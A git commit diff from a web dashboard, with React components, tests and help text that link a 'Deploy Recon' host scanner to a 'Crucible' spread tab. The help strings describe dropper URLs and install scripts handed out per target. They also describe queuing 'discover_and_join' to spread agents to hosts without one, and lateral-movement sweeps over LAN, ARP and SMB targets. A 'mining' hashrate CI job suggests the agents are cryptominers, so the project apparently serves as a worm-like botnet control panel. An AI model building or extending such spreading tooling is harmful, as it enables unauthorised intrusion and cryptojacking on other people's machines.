Polish Deploy Recon page scan UX and Crucible cross-links.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -38,7 +38,7 @@ test.describe('Deploy Recon smoke', () => {
|
||||
await expect(page.getByTestId('dr-results')).toBeVisible({ timeout: 10_000 });
|
||||
await expect(page.getByTestId('dr-port-matrix')).toBeVisible();
|
||||
await expect(page.getByTestId('dr-finding-ssrf')).toBeVisible();
|
||||
await expect(page.getByRole('link', { name: /Fleet spread to e2e-recon\.lab/i })).toBeVisible();
|
||||
await expect(page.getByRole('link', { name: /Fleet spread to e2e-recon\.lab/i }).first()).toBeVisible();
|
||||
});
|
||||
|
||||
test('/browser-spread alias redirects to deploy recon', async ({ page }) => {
|
||||
|
||||
@@ -22,6 +22,8 @@ export const PAGE_AMBIENT_INTENSITY: Record<string, number> = {
|
||||
'/dashboard': 0.65,
|
||||
'/builds': 0.55,
|
||||
'/pathtracer': 0.4,
|
||||
'/deploy-recon': 0.75,
|
||||
'/browser-spread': 0.75,
|
||||
'/settings': 0.25,
|
||||
};
|
||||
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
/** @vitest-environment happy-dom */
|
||||
import { describe, expect, it, vi } from 'vitest';
|
||||
import { render, screen } from '@testing-library/react';
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, render, screen } from '@testing-library/react';
|
||||
import userEvent from '@testing-library/user-event';
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
import CloudSpreadPanel from './CloudSpreadPanel';
|
||||
|
||||
vi.mock('../../api/client', () => ({
|
||||
@@ -11,11 +13,28 @@ vi.mock('../../api/client', () => ({
|
||||
}));
|
||||
|
||||
describe('CloudSpreadPanel', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
it('renders cloud ecosystem hub', () => {
|
||||
render(<CloudSpreadPanel serverUrl="https://deck.example" />);
|
||||
render(
|
||||
<MemoryRouter>
|
||||
<CloudSpreadPanel serverUrl="https://deck.example" />
|
||||
</MemoryRouter>,
|
||||
);
|
||||
expect(screen.getByTestId('cloud-spread-panel')).toBeInTheDocument();
|
||||
expect(screen.getByTestId('cloud-method-s3-cloudfront')).toBeInTheDocument();
|
||||
expect(screen.getByTestId('cloud-method-minio')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows Crucible cross-link when recon host is entered', async () => {
|
||||
const user = userEvent.setup();
|
||||
render(
|
||||
<MemoryRouter>
|
||||
<CloudSpreadPanel serverUrl="https://deck.example" />
|
||||
</MemoryRouter>,
|
||||
);
|
||||
await user.type(screen.getAllByTestId('cloud-recon-host')[0], '10.1.2.50');
|
||||
const link = screen.getByRole('link', { name: /Open Crucible spread tab/i });
|
||||
expect(link).toHaveAttribute('href', '/crucible?reconHost=10.1.2.50&tab=spread&finding=ssm_document');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
import { memo, useMemo, useState } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
import { crucibleSpreadLink } from '../../help/deployRecon';
|
||||
import { cloudMethodsByGroup, RELATED_SPREAD_TEMPLATE_LINKS } from '../../help/cloudSpreadMethods';
|
||||
import CloudMethodPanel, { type CloudMethodConfig } from './CloudMethodPanel';
|
||||
import './CloudSpreadPanel.css';
|
||||
@@ -11,6 +13,7 @@ export interface CloudSpreadPanelProps {
|
||||
}
|
||||
|
||||
function CloudSpreadPanelInner({ serverUrl, buildId = '', campaign = '' }: CloudSpreadPanelProps) {
|
||||
const [reconHost, setReconHost] = useState('');
|
||||
const [bucket, setBucket] = useState('aetherforge-shards');
|
||||
const [cloudfrontDomain, setCloudfrontDomain] = useState('');
|
||||
const [minioEndpoint, setMinioEndpoint] = useState('https://minio.example:9000');
|
||||
@@ -64,6 +67,28 @@ function CloudSpreadPanelInner({ serverUrl, buildId = '', campaign = '' }: Cloud
|
||||
{cloudMethodsByGroup('generic').map((m) => (
|
||||
<CloudMethodPanel key={m.id} method={m} config={config} />
|
||||
))}
|
||||
<div className="cloud-spread-crucible-link">
|
||||
<label className="cloud-spread-field">
|
||||
<span className="label">
|
||||
Recon host (no agent) <HelpTip field="ew_crucible_recon_link" />
|
||||
</span>
|
||||
<input
|
||||
className="input mono"
|
||||
placeholder="10.1.2.50 or ec2 internal IP"
|
||||
value={reconHost}
|
||||
onChange={(e) => setReconHost(e.target.value)}
|
||||
data-testid="cloud-recon-host"
|
||||
/>
|
||||
</label>
|
||||
{reconHost.trim() ? (
|
||||
<p className="form-hint">
|
||||
<Link to={crucibleSpreadLink(reconHost.trim(), 'ssm_document')}>Open Crucible spread tab</Link>
|
||||
{' '}— pre-fills deploy kit and spread-to-host for this target.
|
||||
</p>
|
||||
) : (
|
||||
<p className="form-hint">Paste a recon IP from service graph or vuln findings to continue in Crucible.</p>
|
||||
)}
|
||||
</div>
|
||||
<details className="cloud-spread-related">
|
||||
<summary className="font-tech">Related lateral templates</summary>
|
||||
<ul>
|
||||
|
||||
@@ -9,6 +9,16 @@ import {
|
||||
} from './deployRecon';
|
||||
import type { ReconScanReport } from '../types/recon';
|
||||
|
||||
describe('crucibleSpreadLink', () => {
|
||||
it('builds reconHost spread tab URL', () => {
|
||||
expect(crucibleSpreadLink('10.1.2.50')).toBe('/crucible?reconHost=10.1.2.50&tab=spread');
|
||||
});
|
||||
|
||||
it('includes finding when provided', () => {
|
||||
expect(crucibleSpreadLink('10.1.2.50', 'winrm')).toContain('finding=winrm');
|
||||
});
|
||||
});
|
||||
|
||||
describe('deployRecon helpers', () => {
|
||||
it('maps scan form to API body', () => {
|
||||
expect(reconScanBody('10.0.0.1', 443, true, 'admin')).toEqual({
|
||||
@@ -55,8 +65,4 @@ describe('deployRecon helpers', () => {
|
||||
expect(cards.some((c) => c.kind === 'cms')).toBe(true);
|
||||
expect(buildReconMermaid(report.ports, cards)).toContain('flowchart');
|
||||
});
|
||||
|
||||
it('crucible spread link encodes host and tab', () => {
|
||||
expect(crucibleSpreadLink('10.0.0.5')).toBe('/crucible?tab=spread&spread_host=10.0.0.5');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -140,6 +140,10 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
dash_install_funnel: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
|
||||
crucible_node_roster: '/docs/#dashboard',
|
||||
crucible_tab_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
crucible_recon_host: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
recon_deploy_kit: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-vuln_recon',
|
||||
fleet_spread_to_host: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
ew_crucible_recon_link: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
|
||||
dr_overview: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||
dr_port_matrix: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
dr_path_prefix: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||
|
||||
@@ -205,6 +205,30 @@ export const PAGE_WEATHER: Record<string, PageWeatherConfig> = {
|
||||
gridDrift: 90,
|
||||
palette: 'dim',
|
||||
},
|
||||
'/deploy-recon': {
|
||||
vibe: 'emberwake-pulse',
|
||||
intensity: 0.7,
|
||||
speed: 0.48,
|
||||
pulse: 1.1,
|
||||
density: 0.82,
|
||||
linkStrength: 0.65,
|
||||
layerOpacity: 0.52,
|
||||
orbDrift: 11,
|
||||
gridDrift: 42,
|
||||
palette: 'campaign',
|
||||
},
|
||||
'/browser-spread': {
|
||||
vibe: 'emberwake-pulse',
|
||||
intensity: 0.7,
|
||||
speed: 0.48,
|
||||
pulse: 1.1,
|
||||
density: 0.82,
|
||||
linkStrength: 0.65,
|
||||
layerOpacity: 0.52,
|
||||
orbDrift: 11,
|
||||
gridDrift: 42,
|
||||
palette: 'campaign',
|
||||
},
|
||||
};
|
||||
|
||||
export function resolvePageWeather(pathname: string): PageWeatherConfig {
|
||||
|
||||
@@ -148,6 +148,8 @@ describe('FIELD_HELP', () => {
|
||||
'forge_operation_mode',
|
||||
'forge_path_forge',
|
||||
'aws_erasure_swarm',
|
||||
'recon_deploy_kit',
|
||||
'fleet_spread_to_host',
|
||||
] as const;
|
||||
|
||||
it('defines help text for every documented field key', () => {
|
||||
|
||||
@@ -200,4 +200,8 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
'Optional operator webhook (T1071.005 lite). Calibrate POSTs JSON {event, title, message} on fleet events. Complements Telegram — not an agent transport channel.',
|
||||
aws_erasure_swarm:
|
||||
'S3 + CloudFront erasure swarm: deploy plans upload RS 4+2 shards when AF_AWS_* and AF_CLOUDFRONT_* env creds are set. Test connection runs S3 HeadBucket locally; IAM/bucket policy JSON is generated for your operator AWS account — the server does not provision resources.',
|
||||
recon_deploy_kit:
|
||||
'GET /api/v1/recon/deploy-kit returns a lane-specific kit for a recon host: dropper URLs (/get, install.ps1/sh), spread-kit ZIP export path, signed deploy-plan template, and SSM bundle when the finding maps to ssm_document. Used by Crucible recon spread and Emberwake cloud cross-links.',
|
||||
fleet_spread_to_host:
|
||||
'POST /api/v1/fleet/spread-to-host queues discover_and_join from the best online seed on the target /24 when no agent_id exists for the IP. Response includes recommended_command and operator_note when dispatch is deferred.',
|
||||
};
|
||||
|
||||
@@ -98,6 +98,8 @@ describe('UI_HELP', () => {
|
||||
'ew_war_room_leak',
|
||||
'ew_cloud_aws',
|
||||
'ew_cloud_generic',
|
||||
'ew_crucible_recon_link',
|
||||
'crucible_recon_host',
|
||||
'crucible_btn_spread_now',
|
||||
'crucible_btn_subnet_scan',
|
||||
'crucible_btn_hole_punch',
|
||||
|
||||
@@ -200,6 +200,11 @@ export const UI_HELP: Record<string, string> = {
|
||||
'AWS spread kits: S3+CloudFront erasure shards, SSM documents, Launch Templates, Fargate burst, EventBridge fan-out, and Cloud Map snippets. Connection test is HTTP reachability only — operator applies templates in their AWS account.',
|
||||
ew_cloud_generic:
|
||||
'Vendor-neutral cloud kits: MinIO S3-compatible staging and curl-manifest shard lists. Point bucket/endpoint fields at your operator-owned origin.',
|
||||
ew_crucible_recon_link:
|
||||
'Cross-link to Crucible with ?reconHost= — opens the spread tab, loads GET /api/v1/recon/deploy-kit, and shows spread-to-unreachable-host when no fleet agent matches the IP.',
|
||||
|
||||
crucible_recon_host:
|
||||
'Query param ?reconHost= pre-filters the roster to matching IP/hostname and opens Spread ops. When the host has no online agent, use manual IP target + Spread to host (POST /api/v1/fleet/spread-to-host).',
|
||||
|
||||
crucible_btn_spread_now:
|
||||
'Triggers the lateral movement sweep immediately on selected nodes — tries discovered LAN IPs from ARP, SMB, and subnet scan results. Requires Remote Aggressive Ops capability; a prior subnet scan or ARP run gives it more targets.',
|
||||
|
||||
@@ -36,6 +36,19 @@ vi.mock('../hooks/useFleetGroups', () => ({
|
||||
vi.mock('../api/client', () => ({
|
||||
api: {
|
||||
sendAgentCommand: vi.fn().mockResolvedValue({ success: true }),
|
||||
getReconDeployKit: vi.fn().mockResolvedValue({
|
||||
ok: true,
|
||||
host: '10.1.2.99',
|
||||
join_lane: 'winrm',
|
||||
dropper_urls: { install_sh: 'https://deck/install.sh' },
|
||||
}),
|
||||
postFleetSpreadToHost: vi.fn().mockResolvedValue({
|
||||
ok: true,
|
||||
host: '10.1.2.99',
|
||||
recommended_command: 'discover_and_join',
|
||||
operator_note: 'seed from lan-1',
|
||||
seed_agent_id: 'seed-1',
|
||||
}),
|
||||
},
|
||||
}));
|
||||
|
||||
@@ -75,6 +88,10 @@ vi.mock('../components/Fleet/FullSysCheckPanel', () => ({
|
||||
default: () => null,
|
||||
}));
|
||||
|
||||
vi.mock('../components/Fleet/AccessDepthPanel', () => ({
|
||||
default: () => null,
|
||||
}));
|
||||
|
||||
vi.mock('../components/HelpTip', () => ({
|
||||
HelpTip: () => null,
|
||||
}));
|
||||
@@ -304,6 +321,25 @@ describe('CruciblePage terminal — command_result processing', () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe('CruciblePage reconHost query', () => {
|
||||
beforeEach(() => vi.clearAllMocks());
|
||||
afterEach(() => cleanup());
|
||||
|
||||
it('shows unreachable host spread panel when reconHost has no online agent', async () => {
|
||||
const offline = mockAgent({ id: 'off-1', name: 'ghost', ip: '10.1.2.99', status: 'offline' });
|
||||
useWebSocketMock.mockReturnValue(makeWsValue({ agents: [offline] }) as ReturnType<typeof useWebSocket>);
|
||||
render(
|
||||
<MemoryRouter initialEntries={['/crucible?reconHost=10.1.2.99&tab=spread']}>
|
||||
<CruciblePage />
|
||||
</MemoryRouter>,
|
||||
);
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText(/Spread to unreachable host/i)).toBeInTheDocument();
|
||||
});
|
||||
expect(screen.getByDisplayValue('10.1.2.99')).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
|
||||
// ── Helper function tests ─────────────────────────────────────────────────
|
||||
|
||||
describe('CruciblePage helpers', () => {
|
||||
|
||||
@@ -93,23 +93,24 @@ describe('DeployReconPage', () => {
|
||||
await waitFor(() => expect(api.reconScan).toHaveBeenCalled());
|
||||
expect(screen.getByTestId('dr-port-matrix')).toBeInTheDocument();
|
||||
expect(screen.getByTestId('dr-finding-ssrf')).toBeInTheDocument();
|
||||
expect(screen.getByRole('link', { name: /Fleet spread to scan\.lab/i })).toHaveAttribute(
|
||||
'href',
|
||||
'/crucible?tab=spread&spread_host=scan.lab',
|
||||
);
|
||||
const spreadLinks = screen.getAllByRole('link', { name: /Fleet spread to scan\.lab/i });
|
||||
expect(spreadLinks[0]).toHaveAttribute('href', '/crucible?reconHost=scan.lab&tab=spread');
|
||||
});
|
||||
|
||||
it('shows skeleton while scanning', async () => {
|
||||
let resolveScan!: (v: ReconScanReport) => void;
|
||||
vi.useFakeTimers({ shouldAdvanceTime: true });
|
||||
let resolveScan: ((v: ReconScanReport) => void) | undefined;
|
||||
vi.spyOn(api, 'reconScan').mockImplementation(
|
||||
() => new Promise((res) => { resolveScan = res; }),
|
||||
);
|
||||
const user = userEvent.setup();
|
||||
const user = userEvent.setup({ advanceTimers: vi.advanceTimersByTime });
|
||||
renderPage();
|
||||
await user.type(screen.getByTestId('dr-host-input'), 'slow.lab');
|
||||
await user.click(screen.getByTestId('dr-scan-btn'));
|
||||
expect(screen.getByTestId('dr-scan-skeleton')).toBeInTheDocument();
|
||||
resolveScan(sampleReport);
|
||||
await vi.advanceTimersByTimeAsync(400);
|
||||
resolveScan?.(sampleReport);
|
||||
expect(await screen.findByTestId('dr-results')).toBeInTheDocument();
|
||||
vi.useRealTimers();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -218,15 +218,13 @@ export default function DeployReconPage() {
|
||||
const runScan = useCallback(async () => {
|
||||
const trimmed = host.trim();
|
||||
if (!trimmed) {
|
||||
setScanning(false);
|
||||
setError('Host or IP required');
|
||||
return;
|
||||
}
|
||||
abortRef.current?.abort();
|
||||
const controller = new AbortController();
|
||||
abortRef.current = controller;
|
||||
setScanning(true);
|
||||
setError('');
|
||||
setReport(null);
|
||||
const portNum = parseInt(port, 10) || 80;
|
||||
try {
|
||||
const body = reconScanBody(trimmed, portNum, https, pathPrefix);
|
||||
@@ -241,11 +239,20 @@ export default function DeployReconPage() {
|
||||
}, [host, port, https, pathPrefix]);
|
||||
|
||||
const scheduleScan = useCallback(() => {
|
||||
const trimmed = host.trim();
|
||||
if (!trimmed) {
|
||||
setError('Host or IP required');
|
||||
return;
|
||||
}
|
||||
abortRef.current?.abort();
|
||||
setScanning(true);
|
||||
setError('');
|
||||
setReport(null);
|
||||
if (debounceRef.current) clearTimeout(debounceRef.current);
|
||||
debounceRef.current = setTimeout(() => {
|
||||
void runScan();
|
||||
}, SCAN_DEBOUNCE_MS);
|
||||
}, [runScan]);
|
||||
}, [host, runScan]);
|
||||
|
||||
useEffect(() => () => {
|
||||
abortRef.current?.abort();
|
||||
|
||||
Reference in New Issue
Block a user